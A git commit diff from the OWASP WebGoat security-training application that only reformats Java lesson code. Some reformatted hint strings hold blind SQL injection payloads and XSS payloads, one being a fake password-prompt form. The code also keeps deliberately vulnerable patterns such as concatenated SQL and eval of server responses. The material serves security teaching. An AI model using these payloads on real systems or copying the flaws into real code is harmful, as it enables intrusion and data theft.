Formatting according to OWASP WebGoat Java Style

git-svn-id: http://webgoat.googlecode.com/svn/trunk@359 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
brandon.devries 2008-08-05 17:32:17 +00:00
parent acab6e9274
commit ba6560b24a
77 changed files with 855 additions and 1108 deletions

View File

@ -82,7 +82,7 @@ public class Catcher extends HammerHead
// setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this
// call.
// call.
int scr = session.getCurrentScreen();
Course course = session.getCourse();

View File

@ -11,7 +11,6 @@ import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -504,9 +503,9 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
{
s.setMessage("Could not find source file");
src = ("Could not find the source file or source file does not exist.<br/>"
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress() + "?subject=Source "
+ getSourceFileName() + " not found. Lesson: " + s.getCurrentLesson().getLessonName() + "\">" +
s.getWebgoatContext().getFeedbackAddress() + "</a>");
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress()
+ "?subject=Source " + getSourceFileName() + " not found. Lesson: "
+ s.getCurrentLesson().getLessonName() + "\">" + s.getWebgoatContext().getFeedbackAddress() + "</a>");
}
Html html = new Html();
@ -531,15 +530,15 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
try
{
//System.out.println("Solution: " + getLessonSolutionFileName());
// System.out.println("Solution: " + getLessonSolutionFileName());
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
} catch (Exception e)
{
s.setMessage("Could not find the solution file");
src = ("Could not find the solution file or solution file does not exist.<br/>"
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress() + "?subject=Solution "
+ getLessonSolutionFileName() + " not found. Lesson: " + s.getCurrentLesson().getLessonName() + "\">" +
s.getWebgoatContext().getFeedbackAddress() + "</a>");
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress()
+ "?subject=Solution " + getLessonSolutionFileName() + " not found. Lesson: "
+ s.getCurrentLesson().getLessonName() + "\">" + s.getWebgoatContext().getFeedbackAddress() + "</a>");
}
// Solutions are html files

View File

@ -78,10 +78,11 @@ public class BackDoors extends SequentialLessonAdapter
{
return concept2(s);
}
private void addDBEntriesToEC(ElementContainer ec, ResultSet rs)
{
try {
try
{
if (rs.next())
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
@ -92,7 +93,7 @@ public class BackDoors extends SequentialLessonAdapter
tr.addElement(new TH("Salary"));
tr.addElement(new TH("E-Mail"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD(rs.getString("userid")));
tr.addElement(new TD(rs.getString("password")));
@ -112,7 +113,8 @@ public class BackDoors extends SequentialLessonAdapter
}
ec.addElement(t);
}
} catch (SQLException e) {
} catch (SQLException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
@ -166,9 +168,8 @@ public class BackDoors extends SequentialLessonAdapter
userInput = SELECT_ST + userInput;
String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2)
{
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1)
@ -178,7 +179,6 @@ public class BackDoors extends SequentialLessonAdapter
}
ResultSet rs = statement.executeQuery(arrSQL[0]);
addDBEntriesToEC(ec, rs);
}
return ec;

View File

@ -89,8 +89,8 @@ public class BlindSqlInjection extends LessonAdapter
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
//System.out.println("Account: " + accountNumber);
//System.out.println("Answer : " + answer_results.getString(1));
// System.out.println("Account: " + accountNumber);
// System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{
makeSuccess(s);
@ -144,7 +144,6 @@ public class BlindSqlInjection extends LessonAdapter
return new StringElement("By Chuck Willis");
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
@ -153,35 +152,33 @@ public class BlindSqlInjection extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"
+ "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>substr(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>ascii(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints.add("Another example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"
+ "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>substr(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>ascii(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints.add("Another example: is the second character of the first_name of userid " + TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
return hints;
}
@ -233,7 +230,7 @@ public class BlindSqlInjection extends LessonAdapter
super.handleRequest(s);
} catch (Exception e)
{
//System.out.println("Exception caught: " + e);
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}

View File

@ -68,7 +68,7 @@ public class CSRF extends LessonAdapter
private final static int TITLE_COL = 2;
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
// message
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);

View File

@ -40,7 +40,7 @@ public class Category implements Comparable
{
public final static Category INTRODUCTION = new Category("Introduction", new Integer(5));
public final static Category GENERAL = new Category("General", new Integer(100));
public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(200));
@ -64,7 +64,7 @@ public class Category implements Comparable
public final static Category INJECTION = new Category("Injection Flaws", new Integer(1200));
public final static Category INSECURE_COMMUNICATION = new Category("Insecure Communication", new Integer(1300));
public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1400));
public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(1500));

View File

@ -282,7 +282,6 @@ public class Challenge2Screen extends SequentialLessonAdapter
*/
/*
* (non-Javadoc)
*
* @see lessons.LessonAdapter#doStage3(session.WebSession)
*/
protected Element doStage3(WebSession s) throws Exception
@ -631,7 +630,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
t.setBorder(1);
}
String[] colWidths = new String[]{"55", "110", "260", "70"};
String[] colWidths = new String[] { "55", "110", "260", "70" };
TR tr = new TR();
tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0]));
tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1]));
@ -678,7 +677,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
tr = new TR();
TD td;
StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t ");
while (tokens.hasMoreTokens() && columnCount <4)
while (tokens.hasMoreTokens() && columnCount < 4)
{
td = new TD().setWidth(colWidths[columnCount++]);
tr.addElement(td.addElement(tokens.nextToken()));
@ -725,7 +724,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
osw.write(message);
} catch (Exception e)
{
//System.out.println("Couldn't write " + message + " to " + s);
// System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace();
}
}

View File

@ -95,8 +95,6 @@ public class ClientSideFiltering extends SequentialLessonAdapter
t.setID("hiddenEmployeeRecords");
t.setStyle("display: none");
workspaceDiv.addElement(t);
@ -334,7 +332,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter
hints.add("Stage 1: Use Firebug to find where the information is stored on the client side.");
hints.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints
.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Stage 1: Look in the last row of the hidden table.");

View File

@ -137,7 +137,7 @@ public class ConcurrencyCart extends LessonAdapter
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
// System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
}
@ -154,9 +154,7 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
* ********************************************************************* ******************
* PURCHASING PAGE **********************************
* *********************************************************************
* PURCHASING PAGE
*/
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3,
@ -303,9 +301,7 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
* ********************************************************************* ******************
* CONFIRMATION PAGE ********************************
* *********************************************************************
* CONFIRMATION PAGE
*/
private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
@ -420,9 +416,7 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
* ********************************************************************* ******************
* SHOPPING PAGE **********************************
* *********************************************************************
* SHOPPING PAGE
*/
private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)

View File

@ -98,23 +98,25 @@ public class CrossSiteScripting extends GoatHillsFinancial
{
return Category.XSS;
}
public String getLessonSolutionFileName(WebSession s) {
public String getLessonSolutionFileName(WebSession s)
{
String solutionFileName = null;
String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab XSS/Lab " + stage + ".html";
return solutionFileName;
}
@Override
public String getSolution(WebSession s) {
public String getSolution(WebSession s)
{
String src = null;
try
{
//System.out.println("Solution: " + getLessonSolutionFileName(s));
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false);
// System.out.println("Solution: " + getLessonSolutionFileName(s));
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e)
{
s.setMessage("Could not find the solution file");
@ -123,7 +125,7 @@ public class CrossSiteScripting extends GoatHillsFinancial
return src;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
@ -148,9 +150,9 @@ public class CrossSiteScripting extends GoatHillsFinancial
// Stage 3
// Stage 4
hints.add("Stage4: Examine content served in response to form submissions looking for data taken from the form.");
hints
.add("Stage4: Examine content served in response to form submissions looking for data taken from the form.");
hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util");
// Stage 5
hints
@ -179,8 +181,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>" +
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block the stored XSS before it can be written to the database. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
}
@ -192,8 +194,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>" +
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
}
@ -205,8 +207,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
}
else if (STAGE6.equals(stage))
{
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>" +
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective.";
}
@ -258,28 +260,28 @@ public class CrossSiteScripting extends GoatHillsFinancial
}
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}

View File

@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
@ -141,8 +141,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -104,11 +104,11 @@ public class FindProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}
@ -171,8 +171,8 @@ public class FindProfile extends DefaultLessonAction
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
}

View File

@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}
@ -111,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
@ -129,7 +129,6 @@ public class UpdateProfile extends DefaultLessonAction
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,

View File

@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.apache.ecs.xhtml.html;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
@ -16,7 +15,6 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
import com.sun.corba.se.spi.activation.Server;
@ -92,7 +90,6 @@ public class ViewProfile extends DefaultLessonAction
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
@ -108,15 +105,15 @@ public class ViewProfile extends DefaultLessonAction
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"),
answer_results.getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
@ -131,14 +128,13 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
@ -162,11 +158,10 @@ public class ViewProfile extends DefaultLessonAction
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -124,8 +124,8 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"+
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack. "
+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.";
@ -186,28 +186,28 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
}
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}

View File

@ -129,11 +129,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -187,28 +187,28 @@ public class DBSQLInjection extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}

View File

@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -61,11 +61,11 @@ public class DOMInjection extends LessonAdapter
.setBorder(0).setHspace(0).setVspace(0);
private final static String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
public void handleRequest(WebSession s)
{
try
{
{
String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
@ -74,11 +74,10 @@ public class DOMInjection extends LessonAdapter
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush();
out.close();
return ;
return;
}
} catch (Exception e)
@ -91,21 +90,19 @@ public class DOMInjection extends LessonAdapter
setContent(form);
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
if (s.getRequest().getMethod().equalsIgnoreCase("POST") )
if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{
makeSuccess(s);
}
String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep
+ "function validate() {"
+ lineSep
String script = "<script>" + lineSep + "function validate() {" + lineSep
+ "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
@ -113,18 +110,13 @@ public class DOMInjection extends LessonAdapter
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;" + lineSep
+ " var result = req.responseXML.getElementsByTagName('reward');" + lineSep
+ " var messageDiv = document.getElementById('MessageDiv');" + lineSep
+ " try {" + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;"
+ lineSep + " var result = req.responseXML.getElementsByTagName('reward');" + lineSep
+ " var messageDiv = document.getElementById('MessageDiv');" + lineSep + " try {" + lineSep
+ " eval(message);" + lineSep + " " + lineSep
+ " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep
+ " }" + lineSep
+ " catch(err)" + lineSep
+ " { " + lineSep
+ " messageDiv.innerHTML = 'Wrong license key.'" + lineSep
+ "} " + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
+ " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " }" + lineSep
+ " catch(err)" + lineSep + " { " + lineSep + " messageDiv.innerHTML = 'Wrong license key.'"
+ lineSep + "} " + lineSep + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
@ -147,7 +139,6 @@ public class DOMInjection extends LessonAdapter
t1.addElement(tr);
tr = new TR();
Input b = new Input();
b.setType(Input.SUBMIT);

View File

@ -183,13 +183,16 @@ public class DOMXSS extends SequentialLessonAdapter
hints.add("Stage 2: Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;");
hints.add("Stage 3: Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Stage 3: Try entering the following: "
+ "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Stage 4: Try entering the following: "
hints
.add("Stage 4: Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
hints.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version).");
hints
.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version).");
// Attack Strings:
// <IMG SRC="images/logos/owasp.jpg"/>
@ -201,7 +204,8 @@ public class DOMXSS extends SequentialLessonAdapter
// Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I
// have your password: ' +
// pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
// pass.value);
// ">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints;
}

View File

@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -88,7 +87,7 @@ public class DangerousEval extends LessonAdapter
// FIXME: encode output of field2, then s.setMessage( field2 );
